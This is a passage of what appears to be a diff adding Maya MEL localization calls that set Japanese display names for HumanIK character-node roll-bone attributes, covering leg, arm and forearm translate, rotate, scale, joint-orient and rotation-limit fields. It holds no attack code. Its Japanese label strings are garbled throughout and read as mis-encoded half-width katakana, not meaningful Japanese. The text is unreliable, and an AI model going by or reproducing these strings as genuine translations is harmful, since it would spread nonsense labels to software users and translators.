x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1Sy", "メカモメヘネイ犹 1 ヒキナ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1Sz", "メカモメヘネイ犹 1 ヒキナ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1RotateOrder", "メカモメヘネイ犹 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1RotateAxis", "メカモメヘネイ犹 1 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1RotateAxisx", "メカモメヘネイ犹 1 ミラェヨ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1RotateAxisy", "メカモメヘネイ犹 1 ミラェヨ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1RotateAxisz", "メカモメヘネイ犹 1 ミラェヨ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1JointOrient", "メカモメヘネイ犹 1 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1JointOrientx", "メカモメヘネイ犹 1 ケリスレキスマ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1JointOrienty", "メカモメヘネイ犹 1 ケリスレキスマ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1JointOrientz", "メカモメヘネイ犹 1 ケリスレキスマ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1MinRLimit", "メカモメヘネイ犹 1 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1MinRLimitx", "メカモメヘネイ犹 1 ラミ。ミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1MinRLimity", "メカモメヘネイ犹 1 ラミ。ミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1MinRLimitz", "メカモメヘネイ犹 1 ラミ。ミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1MaxRLimit", "メカモメヘネイ犹 1 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1MaxRLimitx", "メカモメヘネイ犹 1 ラエミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1MaxRLimity", "メカモメヘネイ犹 1 ラエミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1MaxRLimitz", "メカモメヘネイ犹 1 ラエミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1MinRLimitEnablex", "ニモテメカモメヘネイ犹 1 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1MinRLimitEnabley", "ニモテメカモメヘネイ犹 1 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1MinRLimitEnablez", "ニモテメカモメヘネイ犹 1 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1MaxRLimitEnablex", "ニモテメカモメヘネイ犹 1 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1MaxRLimitEnabley", "ニモテメカモメヘネイ犹 1 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1MaxRLimitEnablez", "ニモテメカモメヘネイ犹 1 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1", "メカラアロイ犹 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1T", "メカラアロイ犹 1 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1Tx", "メカラアロイ犹 1 ニスメニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1Ty", "メカラアロイ犹 1 ニスメニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1Tz", "メカラアロイ犹 1 ニスメニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1R", "メカラアロイ犹 1 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1Rx", "メカラアロイ犹 1 ミラェ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1Ry", "メカラアロイ犹 1 ミラェ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1Rz", "メカラアロイ犹 1 ミラェ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1S", "メカラアロイ犹 1 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1Sx", "メカラアロイ犹 1 ヒキナ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1Sy", "メカラアロイ犹 1 ヒキナ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1Sz", "メカラアロイ犹 1 ヒキナ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1RotateOrder", "メカラアロイ犹 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1RotateAxis", "メカラアロイ犹 1 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1RotateAxisx", "メカラアロイ犹 1 ミラェヨ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1RotateAxisy", "メカラアロイ犹 1 ミラェヨ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1RotateAxisz", "メカラアロイ犹 1 ミラェヨ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1JointOrient", "メカラアロイ犹 1 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1JointOrientx", "メカラアロイ犹 1 ケリスレキスマ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1JointOrienty", "メカラアロイ犹 1 ケリスレキスマ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1JointOrientz", "メカラアロイ犹 1 ケリスレキスマ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1MinRLimit", "メカラアロイ犹 1 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1MinRLimitx", "メカラアロイ犹 1 ラミ。ミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1MinRLimity", "メカラアロイ犹 1 ラミ。ミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1MinRLimitz", "メカラアロイ犹 1 ラミ。ミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1MaxRLimit", "メカラアロイ犹 1 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1MaxRLimitx", "メカラアロイ犹 1 ラエミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1MaxRLimity", "メカラアロイ犹 1 ラエミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1MaxRLimitz", "メカラアロイ犹 1 ラエミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1MinRLimitEnablex", "ニモテメカラアロイ犹 1 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1MinRLimitEnabley", "ニモテメカラアロイ犹 1 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1MinRLimitEnablez", "ニモテメカラアロイ犹 1 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1MaxRLimitEnablex", "ニモテメカラアロイ犹 1 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1MaxRLimitEnabley", "ニモテメカラアロイ犹 1 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1MaxRLimitEnablez", "ニモテメカラアロイ犹 1 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1", "メカラヌーアロイ犹 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1T", "メカラヌーアロイ犹 1 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1Tx", "メカラヌーアロイ犹 1 ニスメニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1Ty", "メカラヌーアロイ犹 1 ニスメニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1Tz", "メカラヌーアロイ犹 1 ニスメニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1R", "メカラヌーアロイ犹 1 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1Rx", "メカラヌーアロイ犹 1 ミラェ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1Ry", "メカラヌーアロイ犹 1 ミラェ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1Rz", "メカラヌーアロイ犹 1 ミラェ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1S", "メカラヌーアロイ犹 1 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1Sx", "メカラヌーアロイ犹 1 ヒキナ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1Sy", "メカラヌーアロイ犹 1 ヒキナ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1Sz", "メカラヌーアロイ犹 1 ヒキナ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1RotateOrder", "メカラヌーアロイ犹 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1RotateAxis", "メカラヌーアロイ犹 1 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1RotateAxisx", "メカラヌーアロイ犹 1 ミラェヨ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1RotateAxisy", "メカラヌーアロイ犹 1 ミラェヨ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1RotateAxisz", "メカラヌーアロイ犹 1 ミラェヨ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1JointOrient", "メカラヌーアロイ犹 1 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1JointOrientx", "メカラヌーアロイ犹 1 ケリスレキスマ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1JointOrienty", "メカラヌーアロイ犹 1 ケリスレキスマ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1JointOrientz", "メカラヌーアロイ犹 1 ケリスレキスマ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1MinRLimit", "メカラヌーアロイ犹 1 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1MinRLimitx", "メカラヌーアロイ犹 1 ラミ。ミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1MinRLimity", "メカラヌーアロイ犹 1 ラミ。ミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1MinRLimitz", "メカラヌーアロイ犹 1 ラミ。ミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1MaxRLimit", "メカラヌーアロイ犹 1 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1MaxRLimitx", "メカラヌーアロイ犹 1 ラエミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1MaxRLimity", "メカラヌーアロイ犹 1 ラエミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1MaxRLimitz", "メカラヌーアロイ犹 1 ラエミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1MinRLimitEnablex", "ニモテメカラヌーアロイ犹 1 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1MinRLimitEnabley", "ニモテメカラヌーアロイ犹 1 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1MinRLimitEnablez", "ニモテメカラヌーアロイ犹 1 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1MaxRLimitEnablex", "ニモテメカラヌーアロイ犹 1 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1MaxRLimitEnabley", "ニモテメカラヌーアロイ犹 1 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1MaxRLimitEnablez", "ニモテメカラヌーアロイ犹 1 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1", "メカモメアロイ犹 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1T", "メカモメアロイ犹 1 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1Tx", "メカモメアロイ犹 1 ニスメニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1Ty", "メカモメアロイ犹 1 ニスメニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1Tz", "メカモメアロイ犹 1 ニスメニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1R", "メカモメアロイ犹 1 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1Rx", "メカモメアロイ犹 1 ミラェ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1Ry", "メカモメアロイ犹 1 ミラェ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1Rz", "メカモメアロイ犹 1 ミラェ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1S", "メカモメアロイ犹 1 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1Sx", "メカモメアロイ犹 1 ヒキナ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1Sy", "メカモメアロイ犹 1 ヒキナ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1Sz", "メカモメアロイ犹 1 ヒキナ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1RotateOrder", "メカモメアロイ犹 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1RotateAxis", "メカモメアロイ犹 1 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1RotateAxisx", "メカモメアロイ犹 1 ミラェヨ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1RotateAxisy", "メカモメアロイ犹 1 ミラェヨ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1RotateAxisz", "メカモメアロイ犹 1 ミラェヨ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1JointOrient", "メカモメアロイ犹 1 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1JointOrientx", "メカモメアロイ犹 1 ケリスレキスマ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1JointOrienty", "メカモメアロイ犹 1 ケリスレキスマ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1JointOrientz", "メカモメアロイ犹 1 ケリスレキスマ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1MinRLimit", "メカモメアロイ犹 1 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1MinRLimitx", "メカモメアロイ犹 1 ラミ。ミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1MinRLimity", "メカモメアロイ犹 1 ラミ。ミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1MinRLimitz", "メカモメアロイ犹 1 ラミ。ミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1MaxRLimit", "メカモメアロイ犹 1 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1MaxRLimitx", "メカモメアロイ犹 1 ラエミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1MaxRLimity", "メカモメアロイ犹 1 ラエミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1MaxRLimitz", "メカモメアロイ犹 1 ラエミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1MinRLimitEnablex", "ニモテメカモメアロイ犹 1 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1MinRLimitEnabley", "ニモテメカモメアロイ犹 1 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1MinRLimitEnablez", "ニモテメカモメアロイ犹 1 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1MaxRLimitEnablex", "ニモテメカモメアロイ犹 1 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1MaxRLimitEnabley", "ニモテメカモメアロイ犹 1 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1MaxRLimitEnablez", "ニモテメカモメアロイ犹 1 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1", "メカモメヌーアロイ犹 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1T", "メカモメヌーアロイ犹 1 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1Tx", "メカモメヌーアロイ犹 1 ニスメニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1Ty", "メカモメヌーアロイ犹 1 ニスメニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1Tz", "メカモメヌーアロイ犹 1 ニスメニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1R", "メカモメヌーアロイ犹 1 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1Rx", "メカモメヌーアロイ犹 1 ミラェ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1Ry", "メカモメヌーアロイ犹 1 ミラェ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1Rz", "メカモメヌーアロイ犹 1 ミラェ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1S", "メカモメヌーアロイ犹 1 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1Sx", "メカモメヌーアロイ犹 1 ヒキナ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1Sy", "メカモメヌーアロイ犹 1 ヒキナ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1Sz", "メカモメヌーアロイ犹 1 ヒキナ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1RotateOrder", "メカモメヌーアロイ犹 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1RotateAxis", "メカモメヌーアロイ犹 1 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1RotateAxisx", "メカモメヌーアロイ犹 1 ミラェヨ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1RotateAxisy", "メカモメヌーアロイ犹 1 ミラェヨ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1RotateAxisz", "メカモメヌーアロイ犹 1 ミラェヨ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1JointOrient", "メカモメヌーアロイ犹 1 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1JointOrientx", "メカモメヌーアロイ犹 1 ケリスレキスマ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1JointOrienty", "メカモメヌーアロイ犹 1 ケリスレキスマ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1JointOrientz", "メカモメヌーアロイ犹 1 ケリスレキスマ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1MinRLimit", "メカモメヌーアロイ犹 1 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1MinRLimitx", "メカモメヌーアロイ犹 1 ラミ。ミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1MinRLimity", "メカモメヌーアロイ犹 1 ラミ。ミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1MinRLimitz", "メカモメヌーアロイ犹 1 ラミ。ミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1MaxRLimit", "メカモメヌーアロイ犹 1 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1MaxRLimitx", "メカモメヌーアロイ犹 1 ラエミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1MaxRLimity", "メカモメヌーアロイ犹 1 ラエミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1MaxRLimitz", "メカモメヌーアロイ犹 1 ラエミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1MinRLimitEnablex", "ニモテメカモメヌーアロイ犹 1 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1MinRLimitEnabley", "ニモテメカモメヌーアロイ犹 1 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1MinRLimitEnablez", "ニモテメカモメヌーアロイ犹 1 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1MaxRLimitEnablex", "ニモテメカモメヌーアロイ犹 1 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1MaxRLimitEnabley", "ニモテメカモメヌーアロイ犹 1 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll1MaxRLimitEnablez", "ニモテメカモメヌーアロイ犹 1 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2", "メカラエヘネイ犹 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2T", "メカラエヘネイ犹 2 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2Tx", "メカラエヘネイ犹 2 ニスメニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2Ty", "メカラエヘネイ犹 2 ニスメニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2Tz", "メカラエヘネイ犹 2 ニスメニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2R", "メカラエヘネイ犹 2 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2Rx", "メカラエヘネイ犹 2 ミラェ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2Ry", "メカラエヘネイ犹 2 ミラェ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2Rz", "メカラエヘネイ犹 2 ミラェ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2S", "メカラエヘネイ犹 2 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2Sx", "メカラエヘネイ犹 2 ヒキナ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2Sy", "メカラエヘネイ犹 2 ヒキナ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2Sz", "メカラエヘネイ犹 2 ヒキナ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2RotateOrder", "メカラエヘネイ犹 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2RotateAxis", "メカラエヘネイ犹 2 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2RotateAxisx", "メカラエヘネイ犹 2 ミラェヨ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2RotateAxisy", "メカラエヘネイ犹 2 ミラェヨ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2RotateAxisz", "メカラエヘネイ犹 2 ミラェヨ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2JointOrient", "メカラエヘネイ犹 2 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2JointOrientx", "メカラエヘネイ犹 2 ケリスレキスマ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2JointOrienty", "メカラエヘネイ犹 2 ケリスレキスマ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2JointOrientz", "メカラエヘネイ犹 2 ケリスレキスマ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2MinRLimit", "メカラエヘネイ犹 2 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2MinRLimitx", "メカラエヘネイ犹 2 ラミ。ミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2MinRLimity", "メカラエヘネイ犹 2 ラミ。ミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2MinRLimitz", "メカラエヘネイ犹 2 ラミ。ミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2MaxRLimit", "メカラエヘネイ犹 2 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2MaxRLimitx", "メカラエヘネイ犹 2 ラエミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2MaxRLimity", "メカラエヘネイ犹 2 ラエミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2MaxRLimitz", "メカラエヘネイ犹 2 ラエミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2MinRLimitEnablex", "ニモテメカラエヘネイ犹 2 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2MinRLimitEnabley", "ニモテメカラエヘネイ犹 2 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2MinRLimitEnablez", 